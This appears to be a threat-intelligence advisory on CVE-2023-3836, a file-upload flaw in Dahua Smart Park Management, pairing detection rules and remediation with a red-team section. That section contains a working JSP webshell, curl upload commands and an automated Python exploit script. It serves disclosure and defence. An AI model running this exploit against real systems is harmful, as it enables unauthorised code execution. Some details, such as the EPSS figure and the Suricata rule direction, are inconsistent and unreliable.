CVE-2023-3836

Executive Summary

CVE-2023-3836 is a critical arbitrary file upload vulnerability in Dahua Smart Park Management (also known as Dahua Wisdom Park Integrated Management Platform) affecting versions up to July 13, 2023. The flaw resides in the /emap/devicePoint_addImgIco?hasSubsystem=true endpoint, where the upload parameter is not properly sanitized, allowing an unauthenticated attacker to upload arbitrary files (e.g., JSP webshells) to the server. Successful exploitation can lead to remote code execution (RCE) and full system compromise. The vendor has not responded to disclosure attempts, and no official patch is available. Public proof-of-concept (PoC) code and a Nuclei template exist, making active exploitation highly likely.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.91447 (94.6% probability of exploitation in the wild within 30 days)
• Threat Level: Critical – immediate remediation required.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Dahua Smart Park Management platform. The endpoint /emap/devicePoint_addImgIco?hasSubsystem=true accepts multipart form-data with a file upload parameter named upload. The application fails to validate the file type, content, or extension, allowing an attacker to upload a JSP file containing arbitrary code.

Attack Flow:

1. The attacker sends a POST request to the vulnerable endpoint with a crafted multipart payload containing a JSP file (e.g., shell.jsp).
2. The server stores the uploaded file in the /upload/emap/society_new/ directory with a predictable filename pattern (e.g., ico_res_<random>_on.jsp).
3. The attacker then accesses the uploaded file via a GET request to /upload/emap/society_new/<filename>.jsp.
4. The JSP file executes on the server, granting the attacker remote code execution with the privileges of the web server (typically SYSTEM or root).

Root Cause: The application does not enforce any file type restrictions, content validation, or directory traversal protections on the upload endpoint. The upload parameter is directly used to write the file to the filesystem without sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint - no validation
@PostMapping("/emap/devicePoint_addImgIco")
public String uploadFile(@RequestParam("upload") MultipartFile file) {
    String filename = file.getOriginalFilename();
    String path = "/upload/emap/society_new/" + filename;
    file.transferTo(new File(path));
    return "success";
}

Patched Code (Hypothetical):

// Patched endpoint - with validation
@PostMapping("/emap/devicePoint_addImgIco")
public String uploadFile(@RequestParam("upload") MultipartFile file) {
    // Validate file extension
    String filename = file.getOriginalFilename();
    if (!filename.endsWith(".png") && !filename.endsWith(".jpg")) {
        throw new SecurityException("Invalid file type");
    }
    // Validate content type
    if (!file.getContentType().startsWith("image/")) {
        throw new SecurityException("Invalid content type");
    }
    // Sanitize filename
    String safeFilename = UUID.randomUUID().toString() + ".png";
    String path = "/upload/emap/society_new/" + safeFilename;
    file.transferTo(new File(path));
    return "success";
}

Note: No official patch exists. The above is a hypothetical secure implementation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Dahua Smart Park Management (unpatched)
• Network access to the target (port 80/443)
• Python 3 or curl installed

Exploit Steps:

1. Craft a JSP webshell (e.g., cmd.jsp):

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

2. Upload the webshell using curl:

curl -X POST "http://target.com/emap/devicePoint_addImgIco?hasSubsystem=true" \
  -F "upload=@cmd.jsp;filename=cmd.jsp" \
  -H "Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT"

3. Extract the uploaded filename from the response (e.g., ico_res_abc123_on.jsp).

4. Execute commands:

curl "http://target.com/upload/emap/society_new/ico_res_abc123_on.jsp?cmd=whoami"

Automated Exploit (Python):

import requests
import random
import string

target = "http://target.com"
webshell = "<%@ page import=\"java.io.*\" %><% String cmd = request.getParameter(\"cmd\"); if(cmd != null){ Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = br.readLine()) != null){ out.println(line); } } %>"

# Upload
files = {'upload': ('shell.jsp', webshell, 'application/octet-stream')}
r = requests.post(f"{target}/emap/devicePoint_addImgIco?hasSubsystem=true", files=files)
print(f"Upload response: {r.text}")

# Extract filename (example regex)
import re
match = re.search(r'ico_res_(\w+)_on\.jsp', r.text)
if match:
    filename = f"ico_res_{match.group(1)}_on.jsp"
    print(f"Uploaded to: /upload/emap/society_new/{filename}")
    # Execute command
    r2 = requests.get(f"{target}/upload/emap/society_new/{filename}?cmd=id")
    print(f"Command output: {r2.text}")

Blue Team (Defensive)

Detection & Response:

1. Monitor for POST requests to /emap/devicePoint_addImgIco?hasSubsystem=true with multipart content.
2. Alert on file uploads with non-image extensions (.jsp, .war, .php, etc.).
3. Check the /upload/emap/society_new/ directory for unexpected JSP files.
4. Block outbound connections from the web server to prevent C2 communication.
5. Implement WAF rules to block file uploads with suspicious content (e.g., <%, Runtime.getRuntime()).

Honeypot: Deploy a fake endpoint that mimics the vulnerable upload and logs attacker payloads for threat intelligence.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_3836_Dahua_Upload {
    meta:
        description = "Detects webshells uploaded via CVE-2023-3836"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-3836"
    strings:
        $jsp_marker = "<%" ascii
        $cmd_param = "cmd=" ascii
        $runtime = "Runtime.getRuntime()" ascii
        $exec = ".exec(" ascii
    condition:
        $jsp_marker and ($cmd_param or $runtime or $exec)
}

Sigma Rule

title: CVE-2023-3836 Dahua Smart Park Management File Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2023-3836 via file upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/emap/devicePoint_addImgIco?hasSubsystem=true'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate image uploads (unlikely due to endpoint name)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-3836 Dahua Smart Park Management File Upload Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/emap/devicePoint_addImgIco?hasSubsystem=true";
    http_uri;
    content:"multipart/form-data";
    http_header;
    pcre:"/filename=\".*\.(jsp|war|php|asp|aspx)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-3836;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2023-3836

info:
  name: Dahua Smart Park Management - Arbitrary File Upload
  author: HuTa0
  severity: critical
  description: |
    Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
  impact: |
    Unauthenticated attackers can upload arbitrary files to the Dahua wisdom park management platform, potentially enabling remote code execution and complete system compromise.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
  reference:
    - https://github.com/qiuhuihk/cve/blob/main/upload.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
    - https://vuldb.com/?ctiid.235162
    - https://vuldb.com/?id.235162
    - https://github.com/1f3lse/taiE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3836
    cwe-id: CWE-434
    epss-score: 0.91447
    epss-percentile: 0.99671
    cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dahuasecurity
    product: smart_parking_management
    shodan-query:
      - html:"/WPMS/asset"
      - http.html:"/wpms/asset"
    fofa-query: body="/wpms/asset"
    zoomeye-query: app="大华智慧园区综合管理平台"
  tags: cve2023,cve,dahua,fileupload,intrusive,rce,dahuasecurity,vkev,vuln
variables:
  random_str: "{{rand_base(6)}}"
  match_str: "{{md5(random_str)}}"

http:
  - raw:
      - |
        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Host: {{Hostname}}

        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: binary

        {{match_str}}
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
      - |
        GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains(body_2, '{{match_str}}')"
        condition: and

    extractors:
      - type: regex
        name: shell_filename
        internal: true
        part: body_1
        regex:
          - 'ico_res_(\w+)_on\.jsp'

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Block the vulnerable endpoint at the WAF or reverse proxy:
   • Block POST requests to /emap/devicePoint_addImgIco
   • Block access to /upload/emap/society_new/ for non-image files
3. Remove any uploaded webshells from the /upload/emap/society_new/ directory.
4. Review logs for signs of exploitation (IOCs above).

Long-term Fixes:

• Vendor patch: No patch available. Consider migrating to a supported platform.
• Code fix: Implement file type validation, content-type checking, and filename sanitization as shown in the patched code example.
• Network segmentation: Place the management platform behind a VPN or firewall with strict access controls.
• Web application firewall (WAF): Deploy rules to block file uploads with executable extensions.

Workaround:

• Disable the upload functionality entirely by removing or commenting out the vulnerable endpoint in the application code (if source is available).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: ACC9B02B5BB7F90BDF3F0261] */}